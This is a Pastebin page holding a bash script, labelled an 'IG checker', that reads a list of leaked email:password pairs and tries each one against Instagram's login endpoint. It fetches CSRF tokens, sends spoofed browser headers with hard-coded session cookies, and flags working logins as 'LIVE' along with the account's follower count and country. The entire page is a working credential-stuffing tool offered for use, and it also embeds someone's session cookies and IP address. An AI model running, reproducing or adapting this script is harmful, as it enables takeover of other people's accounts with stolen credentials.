Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- waktu=$(date '+%Y-%m-%d %H:%M:%S')
- RED="\e[31m"
- GREEN="\e[32m"
- YELLOW="\e[33m"
- CYAN="\e[36m"
- LIGHTGREEN="\e[92m"
- MARGENTA="\e[35m"
- BLUE="\e[34m"
- BOLD="\e[1m"
- NOCOLOR="\e[0m"
- PUTIH='\033[1;37m'
- header () {
- printf "${RED}
- ▄▄▌ ▄▄▄ . ▄▄▄· ▄ •▄ ▄▄· ·▄▄▄▄ ▄▄▄ .
- ██• ▀▄.▀·â–â–ˆ ▀█ █▌▄▌▪â–â–ˆ ▌▪▪ ██▪ ██ ▀▄.▀·
- ██▪ â–▀▀▪▄▄█▀▀█ â–▀▀▄·██ â–„â–„ ▄█▀▄ â–█· â–█▌â–▀▀▪▄
- â–█▌â–â–Œâ–█▄▄▌â–â–ˆ â–ªâ–â–Œâ–â–ˆ.█▌â–███▌â–█▌.â–▌██. ██ â–█▄▄▌
- .▀▀▀ ▀▀▀ ▀ ▀ ·▀ ▀·▀▀▀ ▀█▄▀▪▀▀▀▀▀• ▀▀▀
- ${RED}------------------------------------${NOCOLOR}
- Checker By KidSZonk
- ${RED}------------------------------------${NOCOLOR}
- "
- }
- IGcheck() {
- footer="#SGBTEAM - IG CHECKER"
- get=`curl -s 'https://www.instagram.com/accounts/login/ajax/' -H 'origin: https://www.instagram.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'x-requested-with: XMLHttpRequest' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'cookie: mcd=3; mid=W9lE6wALAAE8o8dXUdobBIUTRbaz; fbm_124024574287414=base_domain=.instagram.com; datr=w2YQXAf4ZbNMbCjCFyx44dmS; shbid=11979; shbts=1546747948.9399455; csrftoken='$tokentot'; ds_user_id=2136514677; rur=ASH; fbsr_124024574287414=8P2Q319aRq6ciFfdMkrYFIzmUvDxKwbZgLG0UX9Id50.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNvZGUiOiJBUUNEUXdrcjFKWllUbjBrUkktQTFRQnpqUWdBLTdEQlF3Z1pwelM5blJBMVY3VlcyRm9MZFNIbkM4bWo2aXR4X0VJRWZRUVVpanZmMzNxUlIwYTgwSG1BQjQyRWNoZGhvRkRXWlAycDd5YmdHWWVod1lPUEwyamdVbWh1cF9lcmNreW5GdFlUM3Y4X041cmoyN2ZUdFFjVktHdnpSVjBQS254N0xQV2FNTjJxdVdxR0dpUnhFOHFpS3g3ckZ4Z3hzcjZJWFJQdU00dGNRQjAta2VoUzBtdng2SEE2a1k1VXJBWlJ1aHlUX1dSZmdzNU85eEJ2d3N2ZEJJbEVkcnNpQmtaU0p4VHhVd2lIYnpmM2EzVWFxMTFTemJ5eUp0eG9NcXN5TjFxTzc4U2lxYUxQOWtSS2VXRmhOb2pIMTE4cHo5OVE2aDFRVDQ3ZUZIVTVrNWV0VV9tZCIsImlzc3VlZF9hdCI6MTU0NjkzNjgxMiwidXNlcl9pZCI6IjEwMDAwNjIxOTY5NTc5MSJ9; urlgen="{\"180.249.129.35\": 17974}:1ggmvk:wOP7pFF21pg-Z1pCWUgxYWcxmxE"' -H 'x-csrftoken: '$tokentot'' -H 'x-instagram-ajax: '$ajax'' -H 'content-type: application/x-www-form-urlencoded' -H 'accept: */*' -H 'referer: https://www.instagram.com/' -H 'authority: www.instagram.com' --data 'username='$1'&password='$2'&queryParams=%7B%7D' --compressed`
- cux=`curl -s "https://www.instagram.com/${1}/" -H 'authority: www.instagram.com' -H 'cache-control: max-age=0' -H 'upgrade-insecure-requests: 1' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' --compressed`
- cox=$( echo "$get" | grep -Po '(?<=authenticated": )[^",]*' )
- getInfoNama=$( echo "$cux" | grep -Po '(?<=name":")[^"]*' | head -2 | tail -2)
- getFoll=$( echo "$cux" | grep -Po '(?<=userInteractionCount":")[^"]*')
- getCountry=$( echo "$cux" | grep -Po '(?<=country_code":")[^"]*')
- getUser=$( echo "$cux" | grep -Po '(?<=alternateName":")[^"]*')
- infoMail=$( echo "$cux" | grep -Po '(?<=alternateName":"@)[^"]*')
- getFollowing=$(echo "$cux" | grep -Po '(?<=count":)[^}]*' | head -2 | tail -1)
- if [[ $cox == "true" ]]; then
- printf "${NOCOLOR}[$i/$totalLines]${GREEN}[LIVE] => $1:$2\n"
- echo "${GREEN} INFO : $getUser | Follower : $getFoll | Following : $getFollowing | Country : $getCountry
- "
- else
- printf "${NOCOLOR}[$i/$totalLines]${RED}[DIE] => $1:$2${NC} \n"
- fi
- printf "\r"
- }
- AmbilToken() {
- wait
- resp=`curl 'https://www.instagram.com/accounts/login/ajax/' -H 'origin: https://www.instagram.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'x-requested-with: XMLHttpRequest' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' --compressed -D - -s -o /dev/null`
- tokentot="$(echo "$resp" | grep -Po '(?<=csrftoken=)[^;]*')"
- ajax="16b73267f71b"
- # echo $resp
- # echo "ini cok : $tokentot"
- if [[ $tokentot == '' ]]; then
- sleep 4
- echo "[x] Ohh SNAP!!!. Regenerate token now. Please wait..."
- AmbilToken
- sleep 2
- fi
- }
- header
- echo ""
- echo "List In This Directory : "
- ls
- echo "Delimeter list -> email:password "
- echo -n "Masukan File List : "
- read list
- echo "[+] Calculate your mailist file"
- echo "############################"
- totalLines=`grep -c ":" $list`
- echo "There are $totalLines of list."
- echo "############################"
- if [ ! -f $list ]; then
- echo "$list No Such File"
- exit
- fi
- AmbilToken
- x=$(gawk -F: '{ print $1 }' $list)
- y=$(gawk -F: '{ print $2 }' $list)
- IFS=$'\r\n' GLOBIGNORE='*' command eval 'emailgblg=($x)'
- IFS=$'\r\n' GLOBIGNORE='*' command eval 'passwordna=($y)'
- for (( i = 0; i < "${#emailgblg[@]}"; i++ )); do
- emailna="${emailgblg[$i]}"
- kontol="${passwordna[$i]}"
- IGcheck $emailna $kontol
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement